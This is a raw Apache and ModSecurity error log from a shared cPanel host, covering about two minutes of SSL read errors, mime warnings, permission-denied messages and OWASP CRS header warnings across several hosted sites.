[Fri Jul 17 08:53:42.134435 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:51284] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:42.679410 2026] [ssl:error] [pid 2029573:tid 2029573] (70014)End of file found: [client 66.85.158.91:51312] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:43.812782 2026] [core:error] [pid 2018767:tid 2018767] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:16/subsystem/ttyS3/irq
[Fri Jul 17 08:53:44.600532 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:51420] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:44.752093 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:51436] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:45.441235 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:45.468635 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:45.690950 2026] [ssl:error] [pid 2029861:tid 2029861] (5)Input/output error: [client 66.85.158.91:51496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:45.848908 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:45.850112 2026] [security2:error] [pid 2018770:tid 2018770] [client 47.82.54.137:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:64/subsystem/ttyS3/subsystem/tty38/"] [unique_id "almgQS0HS8lGbZyK8qt2sQAAACM"]
[Fri Jul 17 08:53:45.850133 2026] [security2:error] [pid 2018770:tid 2018770] [client 47.82.54.137:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:64/subsystem/ttyS3/subsystem/tty38/"] [unique_id "almgQS0HS8lGbZyK8qt2sQAAACM"]
[Fri Jul 17 08:53:46.020491 2026] [security2:error] [pid 2015125:tid 2015125] [client 47.82.15.219:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:41/subsystem/tty56/uevent"] [unique_id "almgQhJ0z2bEtnOrIXVAFgAAAAk"]
[Fri Jul 17 08:53:46.020530 2026] [security2:error] [pid 2015125:tid 2015125] [client 47.82.15.219:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:41/subsystem/tty56/uevent"] [unique_id "almgQhJ0z2bEtnOrIXVAFgAAAAk"]
[Fri Jul 17 08:53:46.284094 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:46.905872 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:47.205403 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:47.219440 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:47.224176 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:47.237821 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:47.586790 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:47.606807 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:51610] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:47.639150 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:47.889460 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:51626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:49.601741 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:49.877962 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almgRboj0IkvhSCYadmBPwAAAAQ"]
[Fri Jul 17 08:53:49.877994 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almgRboj0IkvhSCYadmBPwAAAAQ"]
[Fri Jul 17 08:53:50.957265 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:1d/subsystem/uevent
[Fri Jul 17 08:53:51.415861 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:51.982665 2026] [mime:warn] [pid 2029865:tid 2029865] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:52.166150 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:52.503132 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:52.670748 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:52.958741 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:53.019456 2026] [mime:warn] [pid 2029573:tid 2029573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:53.276544 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:53.420825 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:53.585047 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:54.299706 2026] [mime:warn] [pid 2029573:tid 2029573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:54.349469 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/xfs_buf/slabs
[Fri Jul 17 08:53:54.582240 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:54.716887 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:54.845772 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:54.986328 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:55.027005 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:55.140360 2026] [mime:warn] [pid 2029865:tid 2029865] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:55.250159 2026] [mime:warn] [pid 2029573:tid 2029573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:55.392120 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup11/device/device:1b/eject
[Fri Jul 17 08:53:56.285886 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:33634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:56.468969 2026] [security2:error] [pid 2015125:tid 2015125] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almgSxJ0z2bEtnOrIXVAHgAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1046&page_105=1460
[Fri Jul 17 08:53:56.469014 2026] [security2:error] [pid 2015125:tid 2015125] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almgSxJ0z2bEtnOrIXVAHgAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1046&page_105=1460
[Fri Jul 17 08:53:57.480820 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:33704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:57.484391 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:33690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:57.618927 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:33718] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:57.768900 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:33720] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:57.920276 2026] [ssl:error] [pid 2029865:tid 2029865] (70014)End of file found: [client 66.85.158.91:33726] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:58.072984 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:33736] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:02.635832 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:34082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:02.833748 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:34084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:02.998109 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:34094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:03.147603 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:34118] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:03.300036 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:34160] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:03.300225 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/bus/cpu/devices/cpu1/driver/cpu0/node0/memory49/removable"] [unique_id "almgUwRRrtuZqNDDSqWv_AAAABo"]
[Fri Jul 17 08:54:03.300247 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/bus/cpu/devices/cpu1/driver/cpu0/node0/memory49/removable"] [unique_id "almgUwRRrtuZqNDDSqWv_AAAABo"]
[Fri Jul 17 08:54:04.905653 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:04.999658 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:05.196934 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:05.471685 2026] [mime:warn] [pid 2029573:tid 2029573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:05.612436 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:05.652415 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:05.718068 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:05.806036 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:06.296372 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:34320] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:06.450239 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:07.089689 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:34384] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:08.239812 2026] [ssl:error] [pid 2029573:tid 2029573] (70014)End of file found: [client 66.85.158.91:34448] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:09.306960 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:09.450976 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:34534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:13.257170 2026] [security2:error] [pid 1993671:tid 1993671] [client 185.191.171.14:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/jrdcbackend/jrdcback/vendor/egulias/email-validator/src/Result/MultipleErrors.php"] [unique_id "almgXQ5GPQ6hs4VrfMpBAwAAAAY"]
[Fri Jul 17 08:54:13.257214 2026] [security2:error] [pid 1993671:tid 1993671] [client 185.191.171.14:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/jrdcbackend/jrdcback/vendor/egulias/email-validator/src/Result/MultipleErrors.php"] [unique_id "almgXQ5GPQ6hs4VrfMpBAwAAAAY"]
[Fri Jul 17 08:54:14.882159 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:53838] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:15.332827 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:53874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:20.780306 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:54098] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:20.932361 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:54114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:21.229748 2026] [ssl:error] [pid 2029573:tid 2029573] (70014)End of file found: [client 66.85.158.91:54120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:26.565392 2026] [security2:error] [pid 1993668:tid 1993668] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/mac.php"] [unique_id "almgahAi3pC6yjXGNq2ALgAAAAU"]
[Fri Jul 17 08:54:26.565441 2026] [security2:error] [pid 1993668:tid 1993668] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/mac.php"] [unique_id "almgahAi3pC6yjXGNq2ALgAAAAU"]
[Fri Jul 17 08:54:26.718878 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:34840] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:26.936861 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:34852] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:32.804223 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:35040] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:33.250899 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:35080] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:33.873530 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:35116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:37.416845 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:35314] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:38.663033 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:35376] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:39.116802 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:35416] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:39.721954 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:35470] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:41.626340 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:41.816579 2026] [mime:warn] [pid 2029573:tid 2029573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:42.360960 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:42.421199 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:52934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:42.662967 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:44.529920 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:53042] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:44.627435 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:53050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:45.870562 2026] [ssl:error] [pid 2029573:tid 2029573] (70014)End of file found: [client 66.85.158.91:53174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:47.842681 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:47.974583 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:48.097317 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:48.105414 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:48.185282 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:48.486140 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:48.514276 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:53320] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:48.694717 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:49.386328 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:49.393902 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 47.82.13.19:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:64/subsystem/input3/device/subsystem/uevent
[Fri Jul 17 08:54:49.468881 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:49.523662 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:49.762906 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:49.967913 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:53396] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:50.324242 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:53400] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:52.888866 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:58928] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:53.601547 2026] [security2:error] [pid 2018767:tid 2018767] [client 54.81.43.75:0] ModSecurity: Warning. Match of "rx ^(?:(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+)\\\\/(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+))(?:\\\\s*+;\\\\s*+(?:(?:charset\\\\s*+=\\\\s*+(?:\\"?(?:iso-8859-15?|windows-1252|utf-8)\\\\b\\"?))|(?:(?:c(?:h(?:a(?:r(?:s(?:e[^t\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]|[^e\\"(),/:;<=>?![\\\\x5c ..." against "REQUEST_HEADERS:Accept" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1161"] [id "920600"] [msg "Illegal Accept header: charset parameter"] [data "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [hostname "bostonlanka.com"] [uri "/feed"] [unique_id "almghaquHSHoCJK_V0SBDwAAABs"]
[Fri Jul 17 08:54:53.602386 2026] [security2:error] [pid 2018767:tid 2018767] [client 54.81.43.75:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/feed"] [unique_id "almghaquHSHoCJK_V0SBDwAAABs"]
[Fri Jul 17 08:54:53.740070 2026] [security2:error] [pid 2018767:tid 2018767] [client 54.81.43.75:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almghaquHSHoCJK_V0SBDwAAABs"]
[Fri Jul 17 08:54:53.740142 2026] [security2:error] [pid 2018767:tid 2018767] [client 54.81.43.75:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almghaquHSHoCJK_V0SBDwAAABs"]
[Fri Jul 17 08:54:53.740157 2026] [security2:error] [pid 2018767:tid 2018767] [client 54.81.43.75:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almghaquHSHoCJK_V0SBDwAAABs"]
[Fri Jul 17 08:54:53.795225 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:53.858041 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.81.43.75:0] ModSecurity: Warning. Match of "rx ^(?:(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+)\\\\/(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+))(?:\\\\s*+;\\\\s*+(?:(?:charset\\\\s*+=\\\\s*+(?:\\"?(?:iso-8859-15?|windows-1252|utf-8)\\\\b\\"?))|(?:(?:c(?:h(?:a(?:r(?:s(?:e[^t\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]|[^e\\"(),/:;<=>?![\\\\x5c ..." against "REQUEST_HEADERS:Accept" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1161"] [id "920600"] [msg "Illegal Accept header: charset parameter"] [data "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [hostname "bostonlanka.com"] [uri "/feed/"] [unique_id "almghQ7FYe46zHK_jL3PawAAABk"]
[Fri Jul 17 08:54:53.858962 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.81.43.75:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/feed/"] [unique_id "almghQ7FYe46zHK_jL3PawAAABk"]
[Fri Jul 17 08:54:54.013995 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.81.43.75:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almghQ7FYe46zHK_jL3PawAAABk"]
[Fri Jul 17 08:54:54.061211 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:54.208902 2026] [mime:warn] [pid 2029573:tid 2029573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:54.269414 2026] [security2:error] [pid 2013830:tid 2013830] [client 47.82.55.231:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/251:0/device/subsystem/devices/00:01/power/autosuspend_delay_ms"] [unique_id "almghgRRrtuZqNDDSqWwFwAAABo"]
[Fri Jul 17 08:54:54.269454 2026] [security2:error] [pid 2013830:tid 2013830] [client 47.82.55.231:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/251:0/device/subsystem/devices/00:01/power/autosuspend_delay_ms"] [unique_id "almghgRRrtuZqNDDSqWwFwAAABo"]
[Fri Jul 17 08:54:54.281228 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:54.335000 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:55.495511 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:55.865909 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:55.974536 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:56.019188 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:56.086806 2026] [mime:warn] [pid 2029573:tid 2029573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:54:56.397005 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:59130] AH02013: coalesce failed to read from data bucket
